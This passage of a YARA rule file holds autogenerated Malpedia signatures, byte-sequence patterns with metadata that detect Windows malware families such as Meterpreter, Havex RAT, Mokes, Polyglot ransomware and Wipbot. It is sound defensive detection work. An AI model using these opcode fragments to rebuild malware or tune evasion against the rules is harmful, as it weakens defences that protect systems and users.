		$sequence_6 = { 6c 70ff 0808 008a3800cc1c }
		$sequence_7 = { ff0a 250004003c 6c 70ff }
		$sequence_8 = { ff15???????? 81c480000000 8d55c0 52 ff15???????? 8d4588 }
		$sequence_9 = { ff15???????? 81c6a4000000 50 56 }
		$sequence_10 = { ff15???????? 81e600020000 33c9 81fe00020000 }
		$sequence_11 = { ff15???????? 81c608030000 8d45e8 56 }
		$sequence_12 = { ff15???????? 81c608030000 8d8568ffffff 56 }
		$sequence_13 = { ff15???????? 81e600200000 33d2 81fe00200000 }
		$sequence_14 = { ff15???????? 81c480000000 8d8df8fcffff 51 }
		$sequence_15 = { ff15???????? 833d????????00 7505 dc7dc0 }
	condition:
		7 of them and filesize < 8560640
}

rule MALPEDIA_Win_Meterpreter_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a6f1771a-05aa-5edf-806e-8f4646e6de38"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meterpreter"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.meterpreter_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "b31b408f14a6efeb814ec89850c20aeb2f6b49daa7fba766082bcbe19d74b589"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7b5d c7400800000000 8b561c c7420c00000000 }
		$sequence_1 = { c07d14eb 8b542472 8cd0 f733 ce }
		$sequence_2 = { 56 e8???????? 85d9 f5 }
		$sequence_3 = { e04f 1089471c8b8e 48 e600 00ee }
		$sequence_4 = { 0000 68ffff0000 52 ffd7 8b2410 }
		$sequence_5 = { 02c0 8bf7 b94c000061 f3ab 8b4573 8b4d0c 8bbdfc89068b }
		$sequence_6 = { 57 57 897810 57 }
		$sequence_7 = { 8d919248b299 40 93 49 722f }
		$sequence_8 = { 8b3c87 1485 c9 896375 8b3b }
		$sequence_9 = { d040f3 27 c0eb80 d440 0075cc b8???????? }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Havex_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f3fbb0af-43ac-5647-9a79-89548fc57d3c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.havex_rat_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "9d2eae0c4a7abc70e6bf5636f95e7cb91a062b9062076188516a0129d3184ea5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 50 51 ff15???????? 68???????? 8d4dd8 8bf0 }
		$sequence_1 = { 83c8ff 2b4560 3bd8 7601 49 42 ebe4 }
		$sequence_2 = { 8d5c242c 89642428 8938 897808 89780c 897810 }
		$sequence_3 = { 8b4508 c9 c3 3b442404 741c 56 8d7004 }
		$sequence_4 = { 8d8e94c90000 8955d8 0fb69002010000 0fb638 c1e210 0bd7 8951fc }
		$sequence_5 = { 8d4d88 0f9445c3 c645fc05 e8???????? 385dc3 7507 }
		$sequence_6 = { e8???????? ff75ec 8d450c ff75e8 8bce 50 8b4508 }
		$sequence_7 = { 6a01 50 ff7514 8d44243c ff7510 50 57 }
		$sequence_8 = { 83c104 ff4df8 837df800 7fe3 8b75e0 }
		$sequence_9 = { ff7004 ff15???????? 8bd8 83fb02 7504 32c0 eb2f }
	condition:
		7 of them and filesize < 892928
}

rule MALPEDIA_Win_Younglotus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "04c5b48c-c00c-5587-800f-b26c8ea57f39"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.younglotus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.younglotus_auto.yar#L1-L171"
		license_url = "N/A"
		logic_hash = "0969f03b284985af7df0ddb5d516ceb371a29a3573bcea4b892c82226c445838"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6802000080 e8???????? 83c41c 6a01 }
		$sequence_1 = { c745e800000000 c745fc00000000 837d0c03 754c 6a03 }
		$sequence_2 = { 8945c8 68???????? 8b45c8 50 }
		$sequence_3 = { 83c404 8b4de0 51 ff55dc }
		$sequence_4 = { c745ec00000000 c745fc00000000 8b450c 50 8b4d08 51 8b55e8 }
		$sequence_5 = { 50 8b8d9cfeffff 51 ff15???????? c785a0feffff00000000 }
		$sequence_6 = { 8b8d5cfeffff 83c114 e8???????? c645fc01 8b8d5cfeffff 83c124 e8???????? }
		$sequence_7 = { 8b4508 50 e8???????? 83c404 8945a0 837da000 }
		$sequence_8 = { 53 56 57 68???????? ff15???????? 8945dc 68???????? }
		$sequence_9 = { 8b703c 03f0 813e50450000 0f85e8000000 }
		$sequence_10 = { 83f802 7503 33c0 c3 6a01 58 }
		$sequence_11 = { e8???????? 83c41c 8d85e8feffff 6804010000 53 50 }
		$sequence_12 = { 33f6 8975fc 397508 68ff010000 56 56 }
		$sequence_13 = { 85c0 8945f4 7e49 6a04 53 50 }
		$sequence_14 = { ff750c ff7508 50 e8???????? 8d430f 83c40c }
		$sequence_15 = { bf00040000 57 8d85e4fbffff 53 50 e8???????? }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Mokes_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b39bf037-fa7d-5a3c-86ca-2ed67b32fce6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mokes"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mokes_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "b9e014e60ad1f3bca1bf46f5b4621f6e946c48cba595440a4767fbc6ec5a2bfa"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f30f7f442438 8b442438 3b442428 751e 8b442440 3b442430 7514 }
		$sequence_1 = { f20f5cd0 f20f58d1 f20f2cca 03c8 8d442430 894c2430 8b4c240c }
		$sequence_2 = { ffb6c8010000 e8???????? 8b8e0c010000 8b4104 397808 7417 3b7808 }
		$sequence_3 = { f6450801 56 8bf1 57 8b7e04 7423 8b0d???????? }
		$sequence_4 = { ff742420 ba04000000 53 8d4a28 e8???????? 8b6c2420 8bf0 }
		$sequence_5 = { ff5030 8b4004 f780e000000000000200 7404 c6432b01 807c241b00 8b5c2454 }
		$sequence_6 = { ffd0 83c410 8b74240c 8b542418 8bca 8b7c241c 81c11ff9ef9e }
		$sequence_7 = { f77e6c 89542420 8b450c 8b7004 807e7000 7407 8bce }
		$sequence_8 = { ff74240c 889018020000 8b8e5c010000 e8???????? 80be9a02000000 7517 ff7604 }
		$sequence_9 = { f6c310 7410 83e3ef 8d4c242c 895c2414 e8???????? c7442458ffffffff }
	condition:
		7 of them and filesize < 18505728
}

rule MALPEDIA_Win_Grok_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b9ba5cb5-3752-5e96-9a74-900c3065fa33"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grok"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grok_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "0c97c5be712250fba8ecf0a25a041d30466c220a206e99d1c5c73f4b7d759714"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3945f4 7308 8b4df4 c60100 ebe4 8b55f8 c7420900000000 }
		$sequence_1 = { 8b8de0fdffff 8a11 8895dffdffff 8b85e4fdffff 3a10 7546 }
		$sequence_2 = { 837d1004 7307 b8060200c0 eb0e 8b4508 8b403c c70030120000 }
		$sequence_3 = { 0f8ca4000000 53 ff15???????? 8b0d???????? 3b01 8b3d???????? }
		$sequence_4 = { 0f85a2000000 681c010000 8d85c8feffff 50 6a00 8b4d08 51 }
		$sequence_5 = { 8975dc ff15???????? 85c0 8b1d???????? 7d11 be2a0000c0 ff75f8 }
		$sequence_6 = { a1???????? 83c40c c780bc01000001000000 33c0 5f 5e 5d }
		$sequence_7 = { b81a0000c0 eb5c 50 8d460a 56 50 e8???????? }
		$sequence_8 = { b89a0000c0 eb51 8d45f8 50 ff75f8 56 6a01 }
		$sequence_9 = { 85c0 0f842d010000 8b742410 8b3d???????? 6a00 6a10 6a01 }
	condition:
		7 of them and filesize < 84992
}

rule MALPEDIA_Win_Redalpha_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "882ba549-5d0f-5044-9824-7266c16fd3e3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redalpha"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redalpha_auto.yar#L1-L286"
		license_url = "N/A"
		logic_hash = "6d0bc4e07b8bfd5d42ec13b7e486282bb3ab0b08b56807472d5876342a41efce"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c40c c0e304 0fb6c3 50 68???????? }
		$sequence_1 = { 68???????? 50 e8???????? 83c40c c0e304 }
		$sequence_2 = { 8b4314 015330 ffd0 5f }
		$sequence_3 = { 8b4310 ffd0 8945fc 85c0 }
		$sequence_4 = { 488da998000000 458be0 4c8be9 488bfa 488d4d20 ff15???????? 488b4508 }
		$sequence_5 = { 8785c8000000 488b8dd8000000 ff15???????? 488b8de0000000 ff15???????? 48c785d8000000ffffffff }
		$sequence_6 = { 8b4328 8bcb 52 8b5310 }
		$sequence_7 = { 89048b 488b4d58 418bc5 48c1e002 480101 }
		$sequence_8 = { eb0e 48897da0 41bc13000000 48897da8 498b1e }
		$sequence_9 = { d3eb 442bd9 400fb6d7 f6c210 753d 0f1f840000000000 }
		$sequence_10 = { 8b430c ffd0 8d50ff 8b45fc 03f2 }
		$sequence_11 = { e9???????? 488d5908 488d4b20 ff15???????? 488b4308 48894310 ba00040000 }
		$sequence_12 = { 8b4328 52 8b5310 2b5604 }
		$sequence_13 = { 8b4324 8975f8 8945dc 8b4328 }
		$sequence_14 = { 48897db8 448865c0 4533c9 4533c0 33d2 33c9 }
		$sequence_15 = { e8???????? 48c744243000000000 c744242880000000 c744242002000000 4533c9 4533c0 }
		$sequence_16 = { 89441f05 8b85c0feffff 89441f09 8b85c4feffff }
		$sequence_17 = { 6a00 6a00 8d8534ffffff c78514feffff08b94000 898518feffff 8d8514feffff }
		$sequence_18 = { e8???????? 8b404c 83b8a800000000 7512 8b04bd30744100 807c302900 }
		$sequence_19 = { 660fd60f 8d7f08 8b048d343b4000 ffe0 }
		$sequence_20 = { 8bec 81ec1c010000 56 6880000000 8bf1 c745f8ff000000 6a00 }
		$sequence_21 = { 8d44241c 50 8d442424 50 8d442418 }
		$sequence_22 = { 8d45f4 8bcf 50 e8???????? 5f 5e 5b }
		$sequence_23 = { 6a34 68???????? 57 ff15???????? 8bf0 85f6 7517 }
		$sequence_24 = { ff15???????? 8bf8 85ff 7459 6a00 }
		$sequence_25 = { c745dc03000000 eb7c c745e040314100 ebbb d9e8 8b4510 dd18 }
		$sequence_26 = { 8b4710 8d044502000000 50 7219 }
		$sequence_27 = { 50 f3a5 8d8574ffffff 8bca }
		$sequence_28 = { c1fa06 8934b8 8bc7 83e03f 6bc830 8b0495581f4000 8b440818 }
		$sequence_29 = { 7517 57 ff15???????? 5e 5f 8b4dfc }
	condition:
		7 of them and filesize < 606208
}

rule MALPEDIA_Win_Http_Troy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "95fd4364-0c49-5029-9362-b053f1981ad0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.http_troy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.http_troy_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "f51f643b968f327406be07b32339103de989865626147227f095521c9d0409e5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c9 894c241d 8d443bfb 3be8 66894c2421 8bf5 c644241c00 }
		$sequence_1 = { 895e70 899e90000000 895e74 750a 5e b800000100 }
		$sequence_2 = { 8d442414 50 8d4c241c 51 6a00 6a00 6a00 }
		$sequence_3 = { 33f1 33f0 03f3 8dbc37a9cfde4b 8bf7 c1e70b 8b5c2430 }
		$sequence_4 = { e8???????? 83c418 ff7508 e8???????? 83c404 833d????????00 752c }
		$sequence_5 = { 0bd3 4f 8956fc 75da }
		$sequence_6 = { e8???????? 59 83e6fb e9???????? 84c3 0f84d8000000 f6451008 }
		$sequence_7 = { 6802000080 c744242800000000 ff15???????? 8b542418 8d442408 }
		$sequence_8 = { 8d8c2478010000 51 ffd6 b801000000 8b8c2414110000 e8???????? 5f }
		$sequence_9 = { 6a00 68???????? e8???????? 8b54241c 83c404 50 52 }
	condition:
		7 of them and filesize < 475136
}

rule MALPEDIA_Win_Knot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3b476922-c990-533b-9ea2-55281d49e06f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.knot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.knot_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "9a4cc690c1caf46b1d80d5ed99f629971e8f9dd8073d7d2fdb62a67bbf85c7b7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 7407 c685f3fdffff00 ebbe 0fb68df3fdffff 83f901 }
		$sequence_1 = { ff15???????? 85c0 0f855ffdffff 8b958cf9ffff }
		$sequence_2 = { 6a00 6a02 6a00 8b4df8 51 }
		$sequence_3 = { 8bec 81ec24020000 e8???????? 8945fc c785ecfdffff02000000 }
		$sequence_4 = { 7507 32c0 e9???????? 6a00 6a00 6a00 6a02 }
		$sequence_5 = { 8d8dd0fdffff 51 6a08 8d95c8fdffff }
		$sequence_6 = { 7454 6a00 6a00 6a00 6a04 8b55f4 52 }
		$sequence_7 = { 83c40c 8985e8fdffff 8b8de8fdffff 898ddcfdffff 83bddcfdffff03 7402 }
		$sequence_8 = { 6a00 6a00 6800000040 8d95e0fdffff }
		$sequence_9 = { e8???????? 8985d0feffff e9???????? 8b8dd4feffff 51 ff15???????? 8be5 }
	condition:
		7 of them and filesize < 59392
}

rule MALPEDIA_Win_Hawkball_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "233d17b2-2f85-5e81-980e-94af1bd07bc8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkball"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hawkball_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "9b3366bae76271a5cf9e32b5f0daa7b3fc0e06cb94c8f54801829ffbaa6e0521"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 50 53 6a00 68e9fd0000 }
		$sequence_1 = { c3 6a59 ff15???????? 85c0 0f84b4000000 be???????? 8bc6 }
		$sequence_2 = { 56 8b7508 833e00 7f0a be04000000 e9???????? }
		$sequence_3 = { ff75f8 c745fc00000000 ffd6 8b45fc 8b1d???????? 40 50 }
		$sequence_4 = { 56 f30f7f4588 57 660f6f05???????? 8b3d???????? f30f7f4598 }
		$sequence_5 = { 50 668945dc 0f57c0 668985acf7ffff 8d85aef7ffff 50 c745d801000000 }
		$sequence_6 = { ff15???????? 8b4309 83f801 751c 8b5508 8d85f8fdffff 50 }
		$sequence_7 = { 85c0 741e 8d85fcfeffff 68???????? 50 e8???????? }
		$sequence_8 = { ffd6 50 ffd3 ff0d???????? 33c0 5f }
		$sequence_9 = { 6a08 ffd3 50 ff15???????? 8bf0 8d8578ffffff 50 }
	condition:
		7 of them and filesize < 229376
}

rule MALPEDIA_Win_Miuref_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1b96c0a2-4f7f-5dba-b4cc-c39446b366ca"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miuref"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miuref_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "9f0c33a604555481ceaef6b71f9838cb9fae83fec546a9a4bdc6479d8cf9ac8a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b750c 81fe00020000 7204 33c0 eb73 53 bb00200000 }
		$sequence_1 = { e8???????? 59 b9???????? 3b01 7445 83c104 81f9???????? }
		$sequence_2 = { 50 ff742418 e8???????? ff742420 8bf0 56 e8???????? }
		$sequence_3 = { 8d45a8 83ec58 50 e8???????? ff7510 8d45a8 ff750c }
		$sequence_4 = { 8d45cc 50 ff15???????? 8b45fc 8b08 50 ff9180000000 }
		$sequence_5 = { e8???????? ff75f4 e8???????? 8b45e8 83c418 }
		$sequence_6 = { 7704 50 51 eb27 837d1400 750c 57 }
		$sequence_7 = { 3bc3 7320 894508 8b450c 8b4d08 8d4c08c1 56 }
		$sequence_8 = { e8???????? 59 6a00 8bf0 8d45fc 50 57 }
		$sequence_9 = { e8???????? 53 e8???????? 33f6 56 e8???????? }
	condition:
		7 of them and filesize < 180224
}

rule MALPEDIA_Win_Ncctrojan_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "621539aa-975e-51db-993a-fe0f56fb0b46"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ncctrojan"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ncctrojan_auto.yar#L1-L164"
		license_url = "N/A"
		logic_hash = "1a1a856a6ccef6fe3d5ce45ce3caa49b1b9096f7072cb08e6fd3fa9a04b80075"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83f805 7536 8b85e8feffff 85c0 750a }
		$sequence_1 = { 68???????? e9???????? 83f801 750a 68???????? }
		$sequence_2 = { 750a 68???????? e9???????? 83f802 }
		$sequence_3 = { d1f9 8d4101 50 e8???????? 8b542410 83c404 8bca }
		$sequence_4 = { 50 e8???????? 8d45f4 50 8d85e8adffff }
		$sequence_5 = { c785ccbdffff00000000 668985dcbdffff 8d85ecfdffff 8985d4bdffff }
		$sequence_6 = { 85d2 0f8407010000 83faff 0f84fe000000 33c0 85d2 }
		$sequence_7 = { e8???????? 68???????? 6a20 68???????? e8???????? 83c418 e8???????? }
		$sequence_8 = { 0f99c0 8d044501000000 5e 5d c3 3b0d???????? }
		$sequence_9 = { 03c1 50 51 ff7304 }
		$sequence_10 = { 837dec08 8d45d8 0f4345d8 83ec18 }
		$sequence_11 = { 8965f0 6a01 8945ec 40 6a00 }
		$sequence_12 = { 7e6f 8945c8 8b400c 8b7004 }
		$sequence_13 = { 0f437d08 ff15???????? 50 56 }
		$sequence_14 = { 50 51 8d4d08 e8???????? 56 8985c8feffff 8d4d08 }
		$sequence_15 = { 02c9 2480 7403 80f11b 83ea01 }
	condition:
		7 of them and filesize < 1160192
}

rule MALPEDIA_Win_Badhatch_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d1d3a6d7-0b13-5342-b91c-01db9308bc68"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badhatch"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badhatch_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "2f3c78bf8e633b7d8699c41a378230a8ee0e51bf5f6dea1277813531be01c065"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 8b3d???????? 85c0 7512 ffd7 53 }
		$sequence_1 = { 83c420 5f 5e 83c574 c9 c3 55 }
		$sequence_2 = { 837df800 7435 837f0c00 742f 33c0 e9???????? 8b4f08 }
		$sequence_3 = { 7cb9 eb09 ff15???????? 8945fc 8b45fc 5f 5e }
		$sequence_4 = { 53 ff750c 8d443750 50 e8???????? 83c40c ff750c }
		$sequence_5 = { ffd6 8d45e8 50 68???????? ff7508 e8???????? }
		$sequence_6 = { 7559 ff15???????? 3dea000000 754c ff75fc 56 ff35???????? }
		$sequence_7 = { 03d0 03d1 52 50 e8???????? 83c40c b8ea000000 }
		$sequence_8 = { 838b40010000ff 33f6 56 56 6a01 56 }
		$sequence_9 = { eb05 8b450c 8938 395dfc 740e 57 53 }
	condition:
		7 of them and filesize < 156672
}

rule MALPEDIA_Win_Polyglot_Ransom_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bf3c0440-2d73-51e5-9d4d-22d8d3fb589d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglot_ransom"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.polyglot_ransom_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "5cf22f105101e70a8b28d9346158b196300696ba529297d761e1115a7c957230"
		score = 75
		quality = 71
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 207370 65676e 657265 2064656c 20636f 6d 7075 }
		$sequence_1 = { 6a05 68f3000000 8d45e4 68???????? 50 e8???????? 83c434 }
		$sequence_2 = { 8d8508faffff 68???????? 50 e8???????? 8d8508f2ffff 50 8d8508faffff }
		$sequence_3 = { 740a c783ac00000007000000 39bb1c010100 7708 39bb18010100 7666 39bb20010100 }
		$sequence_4 = { 8365e800 8365ec00 837dfc00 7522 837d0800 740e 8b7d08 }
		$sequence_5 = { 50 8d8538d9ffff 50 e8???????? 8bc3 50 8d8538d9ffff }
		$sequence_6 = { e8???????? 8d4564 50 8d45ec 50 e8???????? }
		$sequence_7 = { 7970 7428 293b 223e 44 657363 69667261723c2f }
		$sequence_8 = { 807b1d00 8d45e8 50 7445 ff7308 8365e800 680a202600 }
		$sequence_9 = { c3 85f6 7504 6a9a 58 c3 8b8608010000 }
	condition:
		7 of them and filesize < 1392640
}

rule MALPEDIA_Win_Wipbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9a0970f9-ec33-54d5-ae53-9537a083afd7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wipbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wipbot_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "fb932c7b46d7c186e09cb261140c60f0fb4b0c9205bd0105a6b5687477b202b2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 48 89cb 48 89d6 b98855514f ba4656f1f6 e8???????? }
		$sequence_1 = { c744241400000000 c744241800000000 8974240c 89542410 c74424080a000000 890424 }
		$sequence_2 = { 48 01cb 66813b9090 0f8404040000 bace2cfb69 b98855514f }
		$sequence_3 = { 85c0 48 8907 74a0 48 83c708 48 }
		$sequence_4 = { c744240400000000 893424 89442408 ffd7 }
		$sequence_5 = { ba2e9fd298 b98855514f e8???????? 49 }
		$sequence_6 = { 89e5 e8???????? 85c0 7405 8b4034 eb02 }
		$sequence_7 = { 41 b901000000 ba01000000 4c 8d442468 48 8d4c246c }
		$sequence_8 = { 740d 8b45f4 e8???????? e9???????? 89d8 e8???????? 85c0 }
